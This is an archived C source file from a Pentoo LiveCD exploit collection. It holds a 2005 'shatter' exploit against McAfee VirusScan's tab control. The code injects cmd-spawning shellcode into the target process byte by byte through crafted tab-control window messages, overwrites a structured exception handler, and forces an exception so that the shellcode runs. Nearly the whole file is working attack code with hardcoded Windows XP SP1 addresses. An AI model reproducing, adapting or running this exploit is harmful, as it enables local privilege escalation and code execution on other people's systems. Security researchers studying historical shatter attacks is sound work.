home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / antivirus / mcafee / mcafee-shatterseh2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  133 lines

  1. /**********************************************************
  2. * Tab Control Shatter exploit for McAfee A/V products
  3. * (or any other program that includes a tab control)
  4. *
  5. * Demonstrates the use of tab control messages to;
  6. * - inject shellcode to known location
  7. * - overwrite 4 bytes of a critical memory address
  8. *
  9. * 3 Variables need to be set for proper execution.
  10. * - tWindow is the title of the programs main window
  11. * - sehHandler is the critical address to overwrite
  12. * - shellcodeaddr is the data space to inject the code
  13. *
  14. * Hardcoded addresses are for XP SP 1
  15. * Try it out against any program with a tab control.
  16. * Oliver Lavery <oliver.lavery at sympatico.ca>
  17. *
  18. * Based on (and pretty much identical to) shatterseh2.c by
  19. * Brett Moore [ brett moore security-assessment com ]
  20. **********************************************************/
  21. #include <windows.h>
  22. #include <commctrl.h>
  23. #include <stdio.h>
  24.  
  25. // Local Cmd Shellcode.
  26. // Added a loadLibrary call to make sure msvcrt.dll is present -- ol
  27. BYTE exploit[] =
  28. "\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
  29.  
  30. char g_classNameBuf[ 256 ];
  31.  
  32. char tWindow[]="VirusScan Status";// The name of the main window
  33. long sehHandler = 0x77edXXXX; // Critical Address To Overwrite
  34. long shellcodeaddr = 0x77ed7484; // Known Writeable Space Or Global Space
  35. // you might want to find a less destructive spot to stick the code, but
  36. this works for me --ol
  37. void doWrite(HWND hWnd, long tByte,long address);
  38. void IterateWindows(long hWnd);
  39.  
  40. int main(int argc, char *argv[])
  41. {
  42.    long hWnd;
  43.    HMODULE hMod;
  44.    DWORD ProcAddr;
  45.    printf("%% Playing with tabcontrol messages\n");
  46.    printf("%% Oliver Lavery.\n\n");
  47.    printf("%% based on Shatter SEH code by\n");
  48.    printf("%% brett moore security-assessment com\n\n");
  49.  
  50.    // Find local procedure address
  51.    hMod = LoadLibrary("kernel32.dll");
  52.    ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
  53.    if(ProcAddr != 0)
  54.       // And put it in our shellcode
  55.       *(long *)&exploit[13] = ProcAddr;
  56.  
  57.    hMod = LoadLibrary("msvcrt.dll");
  58.    ProcAddr = (DWORD)GetProcAddress(hMod, "system");
  59.    if(ProcAddr != 0)
  60.       // And put it in our shellcode
  61.       *(long *)&exploit[26] = ProcAddr;
  62.  
  63.    printf("+ Finding %s Window...\n",tWindow);
  64.    hWnd = (long)FindWindow(NULL,tWindow);
  65.    if(hWnd == NULL)
  66.    {
  67.       printf("+ Couldn't Find %s Window\n",tWindow);
  68.       return 0;
  69.    }
  70.    printf("+ Found Main Window At...0x%xh\n",hWnd);
  71.    IterateWindows(hWnd);
  72.    printf("+ Not Done...\n");
  73.    return 0;
  74. }
  75.  
  76.  
  77. void doWrite(HWND hWnd, long tByte,long address)
  78. {
  79.    SendMessage( hWnd,(UINT) TCM_SETITEMSIZE,0,MAKELPARAM(tByte - 2, 20));
  80.    SendMessage( hWnd,(UINT) TCM_GETITEMRECT,1,address);
  81. }
  82.  
  83. void IterateWindows(long hWnd)
  84. {
  85.    long childhWnd,looper;
  86.    childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
  87.    GetClassName( (HWND)childhWnd, g_classNameBuf, sizeof(g_classNameBuf)
  88. );
  89.    while ( strcmp(g_classNameBuf, "SysTabControl32") )
  90.    {
  91.       IterateWindows(childhWnd);
  92.       childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
  93.           GetClassName( (HWND)childhWnd, g_classNameBuf,
  94. sizeof(g_classNameBuf) );
  95.    }
  96.  
  97.    if(childhWnd != NULL)
  98.    {
  99.           LONG wndStyle = GetWindowLong( (HWND)childhWnd, GWL_STYLE );
  100.           wndStyle |= TCS_FIXEDWIDTH ;
  101.           SetWindowLong( (HWND)childhWnd, GWL_STYLE, wndStyle );
  102.  
  103.           printf("min %d\n", SendMessage( (HWND)childhWnd,(UINT)
  104. TCM_SETMINTABWIDTH, 0,(LPARAM)0) );
  105.  
  106.       printf("+ Found tab control..0x%xh\n",childhWnd);
  107.       // Inject shellcode to known address
  108.  
  109.           printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
  110.       for (looper=0;looper<sizeof(exploit);looper++)
  111.          doWrite((HWND)childhWnd, (long) exploit[looper],(shellcodeaddr +
  112. looper));
  113.       // Overwrite SEH
  114.       printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
  115.       doWrite((HWND)childhWnd, ((shellcodeaddr) & 0xff),sehHandler);
  116.       doWrite((HWND)childhWnd, ((shellcodeaddr >> 8) &
  117. 0xff),sehHandler+1);
  118.       doWrite((HWND)childhWnd, ((shellcodeaddr >> 16) &
  119. 0xff),sehHandler+2);
  120.       doWrite((HWND)childhWnd, ((shellcodeaddr >> 24) &
  121. 0xff),sehHandler+3);
  122.       // Cause exception
  123.       printf("+ Forcing Unhandled Exception\n");
  124.       SendMessage((HWND) childhWnd,(UINT) TCM_GETITEMRECT,0,1);
  125.       printf("+ Done...\n");
  126.       exit(0);
  127.    }
  128. }
  129.  
  130.  
  131.  
  132.  
  133.